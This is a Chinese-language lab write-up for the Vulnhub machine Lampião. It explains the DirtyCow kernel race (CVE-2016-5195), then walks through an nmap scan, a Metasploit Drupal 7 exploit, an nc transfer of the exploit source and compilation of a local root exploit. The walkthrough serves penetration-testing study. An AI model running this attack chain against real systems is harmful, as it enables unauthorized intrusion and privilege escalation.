【Vulnhub靶机】lampiao--DirtyCow

文章目录

      • 漏洞介绍
        • 简介
        • 原因
        • 类型
        • 版本
        • 危害
      • 信息收集
        • 主机扫描
        • 端口扫描
      • 漏洞探测
      • 漏洞利用
        • 权限提升
        • nc文件传输
        • 编译
      • 参考

靶机地址:lampiao

下载地址:Lampião: 1

漏洞介绍

简介

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,之所以叫Dirty Cow,Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。脏牛的CVE编号是CVE-2016-5195。

原因

很多情况下,我们希望能够并行地去处理多个相同的进程(比如我们需要去并行计算一些东西),所以内核中就存在复制进程的操作,而fork()函数就是用来复制进程的函数,它可以拷贝当前进程的内存空间,创建一个新的内存空间,这样我们就拥有了两个完全一样的进程空间。但是这个复制过程是很耗费空间和时间的,因为每个子进程都有和父进程一样大的物理空间,但是这些进程可能并不会执行写的操作,也就是不会对原始的文件进行更改,那这种浪费就是没有必要的,所以我们采取了COW(Copy On Write)技术进行优化。

COW(Copy On Write)技术是一种内存管理技术,它在进程复制时,不会立即为进程分配物理内存,而是为进程建立虚拟的内存空间,将虚拟空间指向物理空间,便于读取文件;只有当需要执行文件写操作的时候,才会复制一份物理内存空间分配给它,然后进程在这个复制完的物理内存空间中进行修改,而不会影响其他进程。换句话说,在COW机制中,当多个进程共享一个只读文件的时候,内核会把该文件的内存映射到这些进程的虚拟地址空间中,这些进程都可以读取该文件的内容,当有进程要修改文件时,就会把这个原始文件的状态改成可写状态,然后内核会将该原始文件复制一份,原始文件再改回只读状态,然后进程就修改这份副本,而原始文件仍然可以被其它进程共享,这就是Copy-on-Write的核心思想。

原始只读文件——>修改为可写状态——>复制原始只读文件——>原始状态改回可读。

但是在这个过程中,存在竞态条件。假如现在多个进程同时共享一个只读文件,那么内核可能会把这个文件复制多次,使得每个进程可以修改,但是在内核将原始只读文件的访问状态从可写改回只读之前,多个进程都可以访问和修改原始文件,导致了竞态条件的产生,如果有恶意进程在这段时间进行了修改,那么修改的就是原始文件,从而产生了漏洞。

该漏洞利用了Copy-on-Write机制中的竞态条件,攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

类型

内核竞态条件漏洞

版本

Linux kernel>2.6.22的所有Linux系统(即:从2007年发布的2.6.22开始,到2016年10月18日为止,这中间发行的所有Linux系统都受影响)

危害

本地提权


信息收集

主机扫描
 sudo arp-scan -l 

image-20231102183039011

端口扫描
sudo nmap --min-rate 10000 -p- 192.168.8.29

image-20231102183156986

详情扫描

sudo nmap -sT -sC -sV -O -p 22,80,1898  192.168.8.29

image-20231102184153614

可以看到1889端口使用的是Drupal7的CMS

漏洞探测

访问80

image-20231102184624629

访问1898

image-20231102184726820

通过指纹识别插件也可以看到是Drupal 7

image-20231102184946763

漏洞利用

使用msf

search drupal 7

image-20231102190629773

use 1
show options

image-20231102191158516

显示该模块的可用选项,发现我们需要指定主机和端口

set rhosts 192.168.8.29
set rport 1898
run

image-20231102191514664

查看一下当前的用户,发现不是root用户,证明需要进行本地提权,我们将放在攻击机上的漏洞探针脚本上传到靶机

getuid

image-20231102191648342

可以使用uname -a,找到相应的版本,并查看是否可以有相关漏洞可以利用

也可以使用相关探针进行探测,这里使用linux-exploit-suggester.sh

git clone https://github.com/mzet-/linux-exploit-suggester

image-20231102192012558

上传漏洞探测脚本

upload /home/kali/tools/linux-exploit-suggester/linux-exploit-suggester.sh   /tmp/demo.sh

image-20231102192321644

文件上传成功后,使用shell命令,执行提升权限,执行探测脚本

shell
python -c "import pty;pty.spawn('/bin/bash')"
chmod +x demo.sh
./demo.sh

image-20231102192459891

执行成功后,探测出了相应的信息及漏洞,我们就发现有一个漏洞就是脏牛漏洞(CVE-2016-5195)

image-20231102192735052

image-20231102192818613

权限提升

EXP地址:https://github.com/gbonacini/CVE-2016-5195

image-20231102200508408

nc文件传输

使用nc进行文件传输

靶机上进行监听

nc -l 5064 > dcow.cpp

kali攻击机

nc 192.168.8.29 5064 < dcow.cpp

image-20231102200550971

编译

靶机上进行编译生成一个可执行文件dcow

g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dcow.cpp -lutil或者直接输入 make 进行编译成可执行文件

image-20231102200817327

提权

image-20231102200911598

参考

  • https://dirtycow.ninja/
  • https://www.anquanke.com/post/id/84851

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/231443.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Grafana部署与Zabbix集成,搭建开源IT监控平台

Grafana部署与Zabbix集成 目前在一家公司主要是网络、运维、IT支持&#xff0c;每次需要检查服务器状态都是需要手动登录系统进行查看&#xff0c;因此想着部署一套监控系统&#xff0c;功能上需要实现监控、可视化、告警等。由于预算没有&#xff0c;服务器资源倒是有空闲的&a…

通过流量监控分析某个部门或客户端网络性能

在当今数字化时代&#xff0c;网络已经成为组织和企业不可或缺的基础设施之一。作为信息传输和数据交互的关键载体&#xff0c;网络的性能对于保障业务的稳定运行和提升工作效率至关重要。因此&#xff0c;对某个部门或客户端网络的性能进行分析和评估&#xff0c;有助于了解当…

【开源视频联动物联网平台】视频AI智能分析部署方式

利用视频监控的AI智能分析技术&#xff0c;可以让视频监控发挥更大的作用&#xff0c;成为管理者的重要决策工具。近年来&#xff0c;基于视频监控的AI分析算法取得了巨大的发展&#xff0c;并在各种智慧化项目中得到了广泛应用&#xff0c;为客户提供更智能化的解决方案。 然…

Android 10.0 Launcher3定制之首页时钟小部件字体大小的修改

1.前言 在10.0的产品开发中,在一些Launcher3的定制化开发中,在对于一些小屏幕的产品开发中,在首页添加时钟小部件会显得字体有点小, 所以为了整体布局美观就需要改动小部件的布局日期字体的大小来实现整体的布局美观效果,接下来来具体实现相关的功能 具体效果图: 2.Lau…

【机器学习 | 可视化】回归可视化方案

&#x1f935;‍♂️ 个人主页: AI_magician &#x1f4e1;主页地址&#xff1a; 作者简介&#xff1a;CSDN内容合伙人&#xff0c;全栈领域优质创作者。 &#x1f468;‍&#x1f4bb;景愿&#xff1a;旨在于能和更多的热爱计算机的伙伴一起成长&#xff01;&#xff01;&…

Java数据结构之《直接插入排序》问题

一、前言&#xff1a; 这是怀化学院的&#xff1a;Java数据结构中的一道难度中等的一道编程题(此方法为博主自己研究&#xff0c;问题基本解决&#xff0c;若有bug欢迎下方评论提出意见&#xff0c;我会第一时间改进代码&#xff0c;谢谢&#xff01;) 后面其他编程题只要我写完…

为什么 SQL 日志文件很大,我应该如何处理?

SQL Server 日志文件是记录所有数据库事务和修改的事务日志文件。在 SQL 术语中&#xff0c;此日志文件记录对数据库执行的所有 INSERT、UPDATE 和 DELETE 查询操作。 如果数据库处于联机状态或处于恢复状态时日志已满&#xff0c;则 SQL Server 通常会发出 9002 错误。在这种…

端口隔离度

端口隔离度 隔离度为&#xff08;本振或射频信号&#xff09;泄漏到其他端口的功率与输入功率之比&#xff0c;单位是dB。 比如 RF to LO Isolation 表示 射频输入信号的功率 与 泄漏到LO端口的功率 之比。 而 LO to RF Isolation 则表示 本振输入信号的功率 与 泄漏到RF端口的…

Node.js案例 - 记账本

目录 项目效果 项目的搭建 ​编辑 响应静态网页 ​编辑 ​编辑 结合MongoDB数据库 结合API接口 进行会话控制 项目效果 该案例实现账单的添加删除查看&#xff0c;用户的登录注册。功能比较简单&#xff0c;但是案例主要是使用前段时间学习的知识进行实现的&#xff0c…

支持向量机,硬间隔,软间隔,核技巧,超参数设置,分类与回归

SVM&#xff08;Support Vector Machine&#xff0c;支持向量机&#xff09;是一种非常常用并且有效的监督学习算法&#xff0c;在许多领域都有广泛应用。它可以用于二分类问题和多分类问题&#xff0c;并且在处理高维数据和特征选择方面非常强大。SVM算法的核心思想是通过找到…

Linux学习笔记09、Shell命令之历史命令和自动补全

上一篇&#xff1a;Linux学习笔记08、Shell命令之常用命令缩写及全称 目录 1、历史命令&#xff1a; 1.1、查看所有历史命令列表&#xff1a; 1.2、查看指定历史命令&#xff1a; 1.3、清除历史命令&#xff1a; 2、自动补全 2.1、当字符串唯一时&#xff1a; 2.2、当有多个…

串的模式匹配c语言

以下是一个简单的串的模式匹配算法实现&#xff0c;使用了朴素的字符串匹配算法&#xff08;Naive String Matching Algorithm&#xff09;&#xff1a; #include <stdio.h>#include <string.h>void naive_string_matching(char* text, char* pattern) { int m…